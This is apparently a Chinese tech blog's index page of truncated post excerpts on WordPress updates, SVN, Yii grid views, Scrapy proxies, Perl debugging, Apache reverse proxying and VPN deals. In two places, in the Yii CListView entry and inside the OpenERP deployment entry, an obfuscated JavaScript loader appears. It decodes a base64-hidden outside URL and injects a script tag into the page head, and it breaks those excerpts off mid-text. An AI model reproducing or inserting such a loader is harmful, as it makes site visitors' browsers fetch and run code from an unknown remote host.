一直习惯使用wordpress后台的在线更新wordpress版本,主题,插件等,更新时,网站会自动进入维护状态
一般会显示“Briefly unavailable for scheduled maintenance. Check back in a minute.”
此时,用户无法访问网站。更新完后,退出维护状态,网站正常访问。
但是,如果在更新过程中,更新失败,或者由于更新时间过长浏览器失去响应等原因,更新过程无法正常结束,那么,就会发生用户前台,后台都无法访问...
SVN 认证失败
总是出现认证失败,百度了一下,最多的解决 办法是存成无bom的utf-8格式,或者acsii-unicode,unicod-utf-8,照着弄了弄,还是不行,后来仔细看了看系统中运行的服务,发现ssl服务开启,因为知道subclipse不支持ssl协议,只有apache方式才支持,所以赶紧停掉服务解决,看了看svnserve.conf,发现里面一行# authz-db = authz前面的#我没去掉,去掉#就认证失败了。。。
总结一下,因为ssl关系出现认证失败的...
iHealth APP方案
iHealth
项目复杂度:中等偏下
背景:长期在办公室工作的人员,都会有手腕不舒服,肩膀不舒服等等现象。为了帮助大家锻炼身体,我们可以开发一个辅助锻炼的软件。
功能:
1:检测和记录各个锻炼动作的完成次数和时间
iphone内置的重力感应器和加速度感应器,可以检测我们做的具体的动作,并且只有做到位的动作,才会被记录。这就要求使用者,做的动作幅度标准,幅度稍微大点,要缓慢但到位。
2:定时提醒使用...
Yii组件CListView根据奇偶行数调整背景色
(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
Yii组件CGridView实现自动编号列
1
2
3
4
5
6
7
8
9
10
11
<?php
$this->widget('zii.widgets.grid.CGridView', array(
'dataProvider'=>$model->search(),
'filter'=>$model,
'columns'=>array(
array(
'name'=>'id',
'value'=>'$row', //这里使用$row可以获取当前行号
),
)
?>
1、...
Scrapy中使用代理
1.在Scrapy工程下新建“middlewares.py”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Importing base64 library because we'll need it ONLY in case if the proxy we are going to use requires authentication
import base64
# Start your middleware class
class ProxyMiddleware(object):
# overwrite process request
def process_request(self, request, spider):...
Perl Debugger Tutorial: 10 Easy Steps to Debug Perl Program
To debug a perl program, invoke the perl debugger using “perl -d” as shown below.
# perl -d ./perl_debugger.pl
To understand the perl debugger commands in detail, let us create the following sample perl program (perl_debugger.pl).
$ cat perl_debugger.pl
#!/usr/bin/perl -w
# Script to list out the filenames (in the pwd) that contains specific pattern.
#Enabling slurp mode
...
apache反向代理
版本:
apache2.2 /usr/local/apache2/
tomcat7
1:检查apache有没有mod_proxy模块
没有的话需要自己编译:下载http2.2.22.tar.gz
tar -xzf http2.2.22.tar.gz
cd httpd-2.2.22/modules/proxy/
/usr/local/apache2/bin/apxs -c -i -a mod_proxy_ajp.c mod_proxy_balancer.c mod_proxy_connect.c mod_proxy.c mod_proxy_http.c proxy_util.c ajp*.c
统统加载到apache(如果不包含ajp*.c会报/usr/local/apach...
openerp部署、快速更新、监控和自动重启
版本:
apache2.2 /urs/local/apache2/
tomcat7
1:检查apache有没有mod_proxy模块
没有的话需要自己编译:
(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1
国庆VPN商家优惠促销汇总
双节各大VPN商家提供的VPN促销优惠:
1、CocoVPN (进入CocoVPN官网购买)
优惠码:goy2
优惠幅度:88折
有效期:至10月10号
2、DearVPN (进入DearVPN官网购买)
优惠码:ZQGQKL
优惠幅度:7折
有效期:9月29号 - 10月4号 ,前30有效
3、豆荚VPN (进入豆荚VPN官网购买)
活动1:赠优惠券—活动期间购买套餐,赠送优惠券(优惠券只能针对下次购买,本次不可使用)
套餐类型
优惠券赠送...